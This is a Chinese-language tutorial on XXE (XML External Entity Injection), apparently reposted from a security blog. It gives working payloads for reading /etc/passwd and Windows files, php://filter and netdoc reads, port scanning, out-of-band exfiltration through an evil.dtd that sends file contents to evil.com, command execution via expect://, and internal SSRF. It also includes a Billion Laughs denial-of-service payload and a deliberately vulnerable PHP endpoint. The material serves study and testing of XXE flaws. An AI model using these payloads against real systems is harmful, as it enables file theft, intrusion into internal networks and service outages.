1. 程式人生 > >4.XXE (XML External Entity Injection)

4.XXE (XML External Entity Injection)

any 外部實體 nal libxml 挖掘 lan dddddd php 尋找

XXE (XML External Entity Injection)

0x01 什麽是XXE

XML外部實體註入
若是PHP,libxml_disable_entity_loader設置為TRUE可禁用外部實體註入

0x02 XXE利用

簡單文件讀取

基於file協議的XXE攻擊

XMLInject.php

<?php
# Enable the ability to load external entities
libxml_disable_entity_loader (false);

$xmlfile = file_get_contents(‘php://input‘);
$dom = new DOMDocument();

# http://hublog.hubmed.org/archives/001854.html
# LIBXML_NOENT: 將 XML 中的實體引用 替換 成對應的值
# LIBXML_DTDLOAD: 加載 DOCTYPE 中的 DTD 文件
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure

$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;

echo "You have logged in as user $user";`?>

file_get_content(‘php://input‘)接收post數據,xml數據
XML.txt

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>`</creds>

導致可以讀出etc/passwd文件


在使用file://協議時,有以下幾種格式:

file://host/path
* Linux
 file:///etc/passwd
*  Unix
 file://localhost/etc/fstab
 file:///localhost/etc/fstab
*  Windows
 file:///c:/windows/win.ini
 file://localhost/c:/windows/win.ini
* (下面這兩種在某些瀏覽器裏是支持的)
 file:///c|windows/win.ini
 file://localhost/c|windows/win.ini

XML文檔是用PHP進行解析的,那麽還可以使用php://filter協議來進行讀取。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY content SYSTEM "php://filter/resource=c:/windows/win.ini">
]>
<root><foo>&content;</foo></root>

基於netdoc的XXE攻擊

==XML文檔是用Java解析的話,可利用netdoc

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#PCDATA)>
<!ENTITY file SYSTEM "netdoc:/sys/power/image_size">
]>
<data>&file;</data>

端口掃描

加載外部DTD時有兩種加載方式,一種為私有private,第二種為公共public

私有類型DTD加載:

<!ENTITY private_dtd SYSTEM "DTD_location">

公共類型DTD加載:

<!ENTITY public_dtd PUBLIC "DTD_name" "DTD_location">

在公共類型DTD加載的時候,首先會使用DTD_name來檢索,如果無法找到,則通過DTD_location來尋找此公共DTD。利用DTD_location,在一定的環境下可以用來做內網探測。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY portscan SYSTEM "http://localhost:3389">
]>
<root><foo>&portscan;</foo></root>

因解析器種類不同,所以針對XXE攻擊進行端口掃描需要一個合適的環境才能夠實現,例如:有明顯的連接錯誤信息。

利用DTD進行數據回顯

有時讀取文件時沒有回顯,這時可以利用DTD參數實體的特性將文件內容拼接到url中,達到讀取文件的效果。

 <?xml version="1.0" encoding="utf-8"?>
 <!DOCTYPE root[    
 <!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini">     
 <!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd">    
 %dtd;     
 %send;]>
 <root></root>

evil.dtd

 <!ENTITY % payload "<!ENTITY &#x25; send SYSTEM ‘http://evil.com/?content=%file;‘>">
 %payload;

在evil.dtd中將%file實體的內容拼接到url後,然後利用burp等工具,查看url請求就能獲得我們需要的內容

遠程命令執行

需要 PHP開啟了PECL上的Expect擴展

<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE root [
  <!ENTITY content SYSTEM "expect://dir .">
 ]>
 <root><foo>&content;</foo></root>

攻擊內網網站

<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE root [
  <!ENTITY exp SYSTEM "http://192.168.1.103/payload">
 ]>
 <root><foo>&exp;</foo></root>

利用外部實體構造payload向內網其他機器發出請求

DDoS

最典型的案例Billion Laughs 攻擊

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

DTD:
普通實體:DTD中定義,XML中使用,使用格式: &名;  
參數實體:DTD中定義,定義的時候要用%,DTD中使用,使用格式: %名;
普通實體和參數實體都分為內部實體和外部實體兩種,外部實體定義需要加上 SYSTEM關鍵字,其內容是URL所指向的外部文件實際的內容。  
如果不加SYSTEM關鍵字,則為內部實體,表示實體指代內容為字符串。

0x03 XXE漏洞挖掘

提交POST請求XML文件

提交一個POST請求,請求頭加上Content-type:application/xml
同時添加測試代碼

<?xml version="1.0"encoding="utf-8"?>
<test>cat</test>

通過OOB(Out-of-band)方法遠程訪問文件測試

  1. 自建一個網站開啟80端口
  2. 在測試網站提交payload,如下
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtgmlf6 [<!ENTITY dtgmlf6ent SYSTEM "http://0.0.0.0/">
]>
<GeneralSearch>&dtgmlf6ent;</GeneralSearch>

3.查看網站返回內容
4.查看自建服務器訪問日誌,是否有DTD文件等請求

0x04 XXE自動化工具

XXEinjector

0x05 參考鏈接

https://b1ngz.github.io/XXE-learning-note/

http://colesec.inventedtheinternet.com/attacking-xml-with-xml-external-entity-injection-xxe/

https://security.tencent.com/index.php/blog/msg/69

http://rickgray.me/2015/06/08/xml-entity-attack-review.html

http://www.cnblogs.com/mengdd/archive/2013/05/30/3107361.html

http://www.freebuf.com/articles/web/97833.html

https://zhuanlan.zhihu.com/p/24275040

4.XXE (XML External Entity Injection)